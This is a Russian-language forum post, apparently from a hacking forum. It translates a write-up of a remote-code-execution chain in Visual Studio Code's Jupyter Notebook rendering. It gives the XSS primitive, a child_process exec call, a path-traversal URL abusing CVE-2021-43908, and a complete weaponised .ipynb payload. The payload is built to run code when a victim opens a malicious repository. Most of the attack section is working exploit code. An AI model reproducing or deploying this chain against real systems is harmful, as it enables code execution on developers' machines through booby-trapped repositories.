• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Удаленное исполнение кода в Visual Studio Code при открытии Jupyter Notebook

PolyglotEleven

HDD-drive
Пользователь
Регистрация
28.07.2021
Сообщения
33
Реакции
36
Перевод: Visual Studio Code Jupyter Notebook RCE для xss.pro кем: Polyglot

В прошлые выходные я потратил несколько часов, чтобы изучить использование этого бага в Visual Studio Code .ipynb Jupyter Notebook, обнаруженным Джастином Стивеном в августе 2021 года.
Джастин обнаружил уязвимость межсайтового скриптинга (XSS), влияющую на встроенную в VSCode поддержку для файлов Jupyter Notebook(.ipynb):

Код:
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src=x onerror='console.log(1)'>"}
        }
      ]
    }
  ]
}

Его анализ подробно описывает проблему и показывает пример-концепцию, которая считывает произвольные файлы с диска, а затем передает их содержимое на удаленный сервер, однако это не полный эксплойт RCE.
Я не смог найти способ использовать этот примитив XSS для выполнения произвольного кода, но кто-то, более опытный в эксплуатации Electron, может это сделать.
Учитывая наше внимание к ElectronJ (и многим другим веб-технологиям), я решил изучить потенциальные места эксплуатации.
В качестве первого шага я взглянул на общий дизайн приложения, чтобы определить конфигурацию каждого BrowserWindow/BrowserView/Webview, используемого VScode.
При содействии ElectroNG видим, что приложение использует одно BrowserWindow с nodeIntegration:on.




xss-pic1.png



Этот BrowserWindow загружает содержимое используя протокол vscode-file, который аналогичен файловому протоколу.
К сожалению, наша инъекция происходит во вложенном изолированном iframe, как показано на следующей диаграмме:


xss-pic2.png




В частности, iframe нашей песочницы создается с использованием следующих атрибутов:
allow-scripts allow-same-origin allow-forms allow-pointer-lock allow-downloads

По умолчанию sandbox заставляет браузер рассматривать iframe так, как будто он исходит из другого источника, даже если его src указывает на тот же сайт.
Благодаря атрибуту allow-same-origin это ограничение снимается.
Пока содержимое, загруженное в веб-представление, также размещается в локальной файловой системе (в папке приложения), мы можем получить доступ к top окну.
При этом мы можем просто выполнить код, используя что-то вроде top.require('child_process').exec('open /System/Applications/Calculator.app');

Итак, как нам разместить наш произвольный HTML/JS-контент в папке установки приложения?

В качестве альтернативы, можем ли мы ссылаться на ресурсы за пределами этой папки?

Ответ мы найдем в недавней презентации, которую я смотрел на последних брифингах Black Hat USA 2022.
При использовании CVE-2021-43908 TheGrandPew и s1r1us используют обход пути для загрузки произвольных файлов вне пути установки VSCode.

Код:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html

Подобно их эксплойту, мы можем попытаться использовать ответ postMessage для предоставления доступа к текущему пользовательскому каталогу.
На самом деле наша полезная нагрузка может быть помещена во вредоносный репозиторий вместе с файлом Jupyter Notebook, запускающим XSS.

После пары часов проб и ошибок я обнаружил, что мы можем получить ссылку на тег img, запускающий XSS, исполняя код во время события onload.


xss-pic3.png



На этом все ингредиенты готовы, и я наконец могу собрать окончательный эксплойт.

Код:
var apploc = '/Applications/Visual Studio Code.app/Contents/Resources/app/'.replace(/ /g, '%20');
var repoloc;
window.top.frames[0].onmessage = event => {
    if(event.data.args.contents && event.data.args.contents.includes('<base href')){
        var leakloc = event.data.args.contents.match('<base href=\"(.*)\"')[1];
        var repoloc = leakloc.replace('https://file%2B.vscode-resource.vscode-webview.net','vscode-file://vscode-app'+apploc+'..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..');
        setTimeout(async()=>console.log(repoloc+'poc.html'), 3000)
        location.href=repoloc+'poc.html';
    }
};
window.top.postMessage({target: window.location.href.split('/')[2],channel: 'do-reload'}, '*');


Чтобы доставить эту полезную нагрузку в файле .ipynb, нам все еще нужно преодолеть одно последнее ограничение: текущая реализация приводит к искаженному JSON.
Внедрение происходит в файле JSON (в двойных кавычках), а наша полезная нагрузка Javascript тоже содержит строки в кавычках, используемые в качестве разделителя для регулярного выражения, извлекающего путь.
После небольшой переделки самое простое решение включает символ обратной кавычки "`" вместо обычных кавычек для всех строк JS.
Окончательный файл pocimg.ipynb выглядит так:

Код:
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event => {if(event.data.args.contents && event.data.args.contents.includes(`<base href`)){var leakloc = event.data.args.contents.match(`<base href=\"(.*)\"`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=>console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'>"}
        }
      ]
    }
  ]
}

Открыв вредоносный репозиторий с этим файлом, мы, наконец, можем инициировать выполнение нашего кода.

Видео всего процесса
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх